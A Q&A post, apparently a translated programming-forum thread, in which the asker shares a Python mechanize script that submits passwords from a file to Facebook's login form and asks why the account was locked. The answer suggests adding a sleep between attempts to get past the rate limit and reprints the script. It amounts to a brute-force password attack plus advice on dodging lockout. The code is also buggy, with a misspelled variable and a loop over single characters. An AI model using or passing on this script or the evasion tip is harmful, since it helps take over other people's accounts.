试图获取 Facebook 帐户密码的次数太频繁,我被拒之门外

Trying to get Facebook account password too often locks me out

在我尝试让脚本获取我的密码后,我的 Facebook 帐户被锁定了几个小时(我已经知道我帐户的密码)。是我的 python 脚本有问题,还是我尝试使用它的方式不对?

脚本:

passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
    br = mechanize.Browser()
    br.set_handle_robots(False)
    br.addheader = ['User-Agent','Firefox']
    br.open('https://www.facebook.com')
    br.select_form(nr=0)
    br.form['email'] = "emai@..."
    br.form['pass'] = pwd
    sub = br.submit()
    print sub.geturl()

这个错误很简单。 "trying too often" 表示您在 X 时间内发送了太多请求。您应该 sleep 在迭代之间。

from time import sleep

passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
    br = mechanize.Browser()
    br.set_handle_robots(False)
    br.addheader = ['User-Agent','Firefox']
    br.open('https://www.facebook.com')
    br.select_form(nr=0)
    br.form['email'] = "emai@..."
    br.form['pass'] = pwd
    sub = br.submit()
    print sub.geturl()
    sleep(5)  # 5 seconds

根据您的迭代次数,5 秒可能不够。这是一个反复试验的问题。